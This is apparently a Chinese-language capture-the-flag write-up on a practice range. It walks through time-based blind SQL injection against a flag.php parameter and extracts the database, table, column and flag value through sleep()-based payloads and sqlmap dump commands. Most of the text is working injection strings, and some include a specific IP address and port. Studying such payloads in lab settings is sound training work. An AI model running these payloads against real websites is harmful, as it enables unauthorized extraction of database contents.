本题使用的工具
sqlmap,hackbar
环境
物理机:windows10
虚拟机:kali
可以发现判断有多种方式,只要能保证sleep()执行,就可以根据回显的时间判断是否存在时间注入
命令1 :http:/ip/flag.php?type=1 and sleep(5) '
命令2:http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=114,1,sleep(5))'
命令3:http://ip/flag.php?type=1 and if(1=0,1,sleep(10)) --
发现存在明显的延迟,说明存在时间注入,这里我采取的做法是盲注,最后发现存在回显,也可以直接获取,就不多叙述了。
猜解数据库长度
测试数据库的长度,当12时发生时间注入
http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+
猜解数据库名
解释几个函数的用法
1 database()
: 获取数据库
2 substr()
:截取字符串函数
用法:substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
3 ascii()
:返回字符串str的最左面字符的ASCII代码值
4 if(语句1,语句2,语句3)
:如果语句1正确执行语句2,否则执行语句3
第一位 112 对应 p
使用注入语句if(ascii(substr(database(),1,1))
http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+
剩下的交给sqlmap去跑
命令:sqlmap -u url --dbs
http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --
http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --
当前数据库的第三张表的第一个字符为f
http://ip/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>102,sleep(5),1) --
* 使用left去猜解
left(str,length)
:LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
http://ip/flag.php?type=1 and if (left((select table_name from information_schema.tables where table_schema=database() limit 1,1),4)='flag',sleep(5),1)--+
sqlmap 跑出剩余的
命令:sqlmap -u url -D pentesterlab --tables
http://ip/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1)—
http://ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(4),1) --
http:/ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),2,1))>99,sleep(4),1) --
所以第一个字段值为id
http://ip/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),1)='f',sleep(4),1) --
成功延时
http://219.153.49.228:40472/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),4)='flag',sleep(4),1)—
http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--
http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--
直接猜测mozhe发现缺少一位,猜测最后一位
http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),6))=49,sleep(4),1)--
最后一位是1
使用left验证
成功延时,拿到flag去验证把
http://ip/flag.php?type=1 and if(left((select flag from flag limit 0,1),6)='mozhe1',sleep(4),1)--
使用sqlmap验证
命令:sqlmap -u url -D pentesterlab -T flag -C flag --dump
时间盲注特别耗时间,在做的过程中要仔细,还要注意每个函数的括号,避免由于少个括号一直错误。
永远不要停下学习的脚步